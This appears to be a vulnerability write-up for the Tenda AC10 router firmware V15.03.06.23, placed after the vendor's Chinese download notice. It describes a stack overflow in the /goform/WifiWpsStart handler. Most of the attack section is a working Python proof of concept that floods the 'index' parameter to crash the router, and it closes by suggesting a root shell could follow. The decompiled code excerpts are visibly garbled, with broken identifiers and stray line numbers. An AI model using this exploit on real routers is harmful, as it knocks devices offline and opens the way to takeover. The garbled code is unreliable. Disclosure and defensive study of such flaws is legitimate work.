

## AC10V1.0升级软件 v15.03.06.23

## 业 立即下载

关联产品: AC10 v2.0 更新日期: 2017/10/18

1.此固件只适用于AC10且当前软件为V15.03.06.XX的机器升级,不同型号不能使用该软件,升级前请确定当前软件版本。

2.下载解压后,请使用有线连接路由器升级,升级过程中切勿切断电源,否则会导致机器损坏无法使用!

\* 如果链接错误或其他问题,请反馈到 tenda@tenda.com.cn或联系在线客服 ,谢谢。

## **Vulnerability details**

```
memset(tmp, 0, sizeof(tmp));
index = websGetVarWithValidate(wp, "index", WIFI_SSID_INDEX);
pin = websGetVarWithValidate(wp, "sta_pin", WIFI_WPS_STA_PIN);
Var = websGetVar(wp, "wifi_chkHz", "0");
is ( staid(var))
1718
        else
         v4 = 24;
wl rate
• 22
23
       if ( !index )
        printf("Error: %s: %d ==> ssid index error!\n", "formWifiWpsStart", 3741);
• 24 printf(
25 SAVE_FAIL:
         sprintf(tmp, "0;%s", "0");
websTransfer(wp, tmp);
28
       3233
           printf("Error: %s: %d ==> WPS Start Failed!\n", "formWifiWpsStart", 3751);
goto SAVE_FAIL;
• 34
         if ( wl_rate == WLAN_RATE_24G )
          GetValue("wl2g.public.mode", mib_value);
SetValue("wl.bcm11ac", "0");
        }
else
```

```
printf("Error: %s: %d ==> ssid index error!\n", "formWifiWpsStart", 3741);
 25 SAVE FAIL:
        sprintf(tmp, "0;%s", "0");
websTransfer(wp, tmp);
        return;
           = (unsigned __int8 *)websGetVarWithValidate(wp, "mode", WIFI_WPS_MODE);
      if ( !
        printf("Error: %s: %d ==> WPS Start Failed!\n", "formWifiWpsStart", 3751);
• 35
        goto SAVE_FAIL;
• 37
      if ( wl_rate == WLAN_RATE_24G )
39
        SetValue("wl.bcm11ac", "0");
• 40
      else
• 44
        SetValue("wl.bcm11ac", &byte_51A2E8);
• 45
       tpi wifi wps handle(wl rate. 0. m
• 47
     sprintf(tmp, "%s;%s", index, &byte_51A2E8);
• 48
```

/goform/WifiWpsStart, The index and mode are controllable. If the conditions are met to sprintf, they will be spliced into tmp. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

## Poc

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m'))

l1 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m'))

ip = '192.168.0.1'

port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM))

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x3000

p2 = b'mode=1&index=' + p1

p3 = b"POST /goform/WifiWpsStart" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
```

```
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell